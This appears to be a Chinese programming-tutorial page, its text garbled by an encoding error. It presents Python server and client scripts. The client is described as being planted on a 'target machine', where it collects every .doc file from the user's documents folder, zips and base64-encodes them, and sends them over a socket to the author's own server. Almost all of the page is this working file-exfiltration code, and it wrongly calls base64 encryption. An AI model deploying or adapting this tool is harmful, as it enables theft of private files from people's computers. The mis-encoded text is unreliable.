python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法
本文實(shí)例講述了python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法。分享給大家供大家參考。具體分析如下:
該程序?qū)崿F(xiàn)了,把目標(biāo)機(jī)器的某個(gè)目錄(可控)的所有的某種類型文件(可控)全部獲取并傳到己方的機(jī)器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,這是2進(jìn)制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py,然后client.py放到目標(biāo)機(jī)器,然后python client.py即可
4、本程序設(shè)置了獲取doc文件,修改extName可以獲取其它類型文件
服務(wù)器端程序:
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang\\"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#獲取加密數(shù)據(jù)
encode_data = cs.recv(BUF_SIZE)
#把數(shù)據(jù)寫到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2進(jìn)制 解密 decode(infile,outfile)
tmpfile = open('out.tmp','rb')
outfile = open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打開(kāi)zip文件
zfile = zipfile.ZipFile('out.zip','r')
#創(chuàng)建一個(gè)文件夾來(lái)存放獲取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print "finished!!!"
zfile.close()
#后續(xù)處理 刪除臨時(shí)文件
os.remove('out.tmp')
cs.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
cs.close()
ss.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
ss.close()
if __name__=='__main__':
main()
客戶端程序:
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文檔"
extName = '.doc'
#遍歷搜索我的文檔的doc類型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件處理錯(cuò)誤: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#壓縮成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2進(jìn)制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后續(xù)處理 刪除中間文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出錯(cuò)啦:' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述對(duì)大家的Python程序設(shè)計(jì)有所幫助。
相關(guān)文章
python從入門到精通 windows安裝python圖文教程
這篇文章主要為大家詳細(xì)介紹了python從入門到精通,windows安裝python圖文教程,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-05-05Python+tkinter實(shí)現(xiàn)樹(shù)形圖繪制
Treeview是ttk中的樹(shù)形表組件,功能十分強(qiáng)大,非常適用于系統(tǒng)路徑的表達(dá),下面我們就來(lái)看看如何利用這一組件實(shí)現(xiàn)樹(shù)形圖的繪制吧,有需要的可以參考下2023-09-09Python實(shí)現(xiàn)Sqlite將字段當(dāng)做索引進(jìn)行查詢的方法
這篇文章主要介紹了Python實(shí)現(xiàn)Sqlite將字段當(dāng)做索引進(jìn)行查詢的方法,涉及Python針對(duì)sqlite數(shù)據(jù)庫(kù)索引操作的相關(guān)技巧,需要的朋友可以參考下2016-07-07